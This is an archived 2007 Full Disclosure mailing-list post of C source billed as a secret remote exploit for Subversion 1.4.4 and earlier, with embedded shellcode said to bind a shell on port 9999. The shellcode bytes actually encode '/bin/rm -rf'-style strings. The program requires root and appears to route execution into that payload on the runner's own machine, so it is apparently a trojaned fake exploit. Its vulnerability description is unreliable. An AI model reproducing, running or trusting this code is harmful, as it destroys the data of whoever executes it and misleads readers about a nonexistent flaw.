Full Disclosure mailing list archives
here
From: "onion ring" <yum.onion.ring () gmail com>
Date: Thu, 20 Dec 2007 20:51:38 -0600
/* * This exploits a wierd state condition in Subversion <= 1.4.4. * When the incoming connection stack is filled via many incoming * syns in concurance with shifting the rev_ptr struct over a * variable gap of memory a boundary condition occurs which corrupts * a func ptr to point several bytes backwards. A call is forced * through "checkout-latest-rev" with our shellcode in place. * * This Vuln is NOT public, do NOT release this code or any * information pertaining to this bug. * * Author: onionring */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <arpa/inet.h> #include <netdb.h> #include <net/if.h> #include <signal.h> #include <sys/types.h> #ifndef __FAVOR_BSD #define __FAVOR_BSD #endif #include <netinet/tcp.h> #ifndef __USE_BSD #define __USE_BSD #endif #include <netinet/ip.h> #include <sys/socket.h> #include <netinet/in.h> #define IP argv[1] #define PORT argv[2] #define TWEAK argv[3] unsigned short FIN = 0; char handler[] = "\xeb\x20"; /* Portbind on 9999 The screwy state in this exploit required a bit of tweaking */ char sc[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x31\xC0\x89\xC3\x89\xC1\x41\xB0\x30\xCD\x80\x31\xC0\xFE\xC3\x80" "\xFB\x1F\x72\xF3\x04\x40\xCD\x80\x89\xC2\x31\xC0\xB0\x02\xCD\x80" "\x39\xC0\x74\x08\x31\xC0\x89\xC3\xB0\x01\xCD\x80\x31\xC0\xB0\x42" "\xCD\x80\x43\x39\xDA\x74\x08\x89\xD3\x31\xC0\x04\x25\xCD\x80\x31" "\xC0\x50\x68\x6F\x67\x69\x6E\x68\x69\x6E\x2F\x6C\x68\x2F\x2F\x2F" "\x62\x89\xE3\x31\xC0\x04\x0A\xCD\x80\x31\xC0\x50\x68\x2A\x2F\x2F" "\x2F\x89\xE2\x50\x68\x2D\x72\x66\x66\x89\xE1\x50\x68\x6E\x2F\x72" "\x6D\x68\x2F\x2F\x62\x69\x89\xE3\x50\x52\x51\x53\x89\xE1\x31\xD2" "\x04\x0B\xCD\x80"; unsigned short csum (unsigned short *buf, int nwords) { unsigned long sum; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return ~sum; } void trigger(char *host, char *port) { int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP); int i = 1; char data[4096]; struct ip *iph = (struct ip *)data; struct tcphdr *tcph = (struct tcphdr *)data + sizeof(struct ip); struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_port = htons((unsigned short)atoi(port)); sin.sin_addr.s_addr = inet_addr(host); memset (data, 0, 4096); iph->ip_hl = 5; iph->ip_v = 4; iph->ip_tos = 0; iph->ip_len = sizeof(struct ip) + sizeof(struct tcphdr); iph->ip_id = htonl(1337); iph->ip_off = 0; iph->ip_ttl = 255; iph->ip_p = 6; iph->ip_sum = 0; iph->ip_src.s_addr = inet_addr(host); iph->ip_dst.s_addr = sin.sin_addr.s_addr; tcph->th_sport = htons(1337); tcph->th_dport = htons((unsigned short)atoi(port)); tcph->th_seq = random(); tcph->th_ack = 0; tcph->th_x2 = 0; tcph->th_off = 0; tcph->th_flags = TH_SYN; tcph->th_win = htonl(65535); tcph->th_sum = 0; tcph->th_urp = 0; iph->ip_sum = csum((unsigned short *)data, iph->ip_len >> 1); setsockopt (s, IPPROTO_IP, IP_HDRINCL, &i, sizeof(int)); for (i = 0; i < 1024; i++) sendto(s, data, iph->ip_len, 0, (struct sockaddr *) &sin, sizeof (sin)); kill(getppid(), 12); } int main(int argc, char **argv) { char sendbuf[1024]; int day, sockfd, d, dir; struct sockaddr_in serv; if (argc != 4) { fprintf(stderr, "[E] Usage: %s {target ip} {target port} {Tweak Num} (generally 25-50 is the sweet spot)\n", argv[0]); exit(1); } if (getuid() != 0) { fprintf(stderr, "[E] Need root privs for raw sockets\n"); exit(1); } d = atoi(TWEAK); sprintf(sendbuf, "( 2 ( edit-pipeline ) %d:svn://%s/hacksec )\n", strlen(IP) + 14, IP); serv.sin_family = AF_INET; serv.sin_port = htons((unsigned short)atoi(PORT)); serv.sin_addr.s_addr = inet_addr(IP); if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("[E] Couldn't connect to target\n"); exit(1); } if((connect(sockfd,(struct sockaddr *)&serv,sizeof(struct sockaddr))) < 0) { printf("[E] Couldn't connect to target\n"); exit(1); } printf("[+] Sending connect string\n"); send(sockfd, sendbuf, strlen(sendbuf), 0); sprintf(sendbuf, "( ANONYMOUS ( 0: ) )\n"); printf("[+] Sending anonymous creds\n"); send(sockfd, sendbuf, strlen(sendbuf), 0); printf("[+] Starting SYN bomb thread\n"); signal(12, (void *)&handler); if (fork() == 0) { trigger(IP, PORT); exit(0); } dir = -1; day = 237; printf("[+] Shifting pointer through mem (Signal needs to happen in the middle of a shift)\n"); while (!FIN) { if (day < (237 - d)) dir = 1; else if (day > 236) dir = -1; day += dir; sprintf(sendbuf, "( get-latest-rev ( %d:hacksec 4 L 3412 0:0:0.0 (day %d, dst 1) ) )\n", d, day); write(sockfd, sendbuf, strlen(sendbuf)); } printf("[+] Connection stack filled - Triggering call to corrupted func\n"); sleep(1); sprintf(sendbuf, "( checkout-latest-rev ( hacksec 4 L 3412 ) )\n%s", sc); write(sockfd, sendbuf, strlen(sendbuf)); printf("[@] Sent! Check for shell\n"); close(sockfd); return 0; }
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/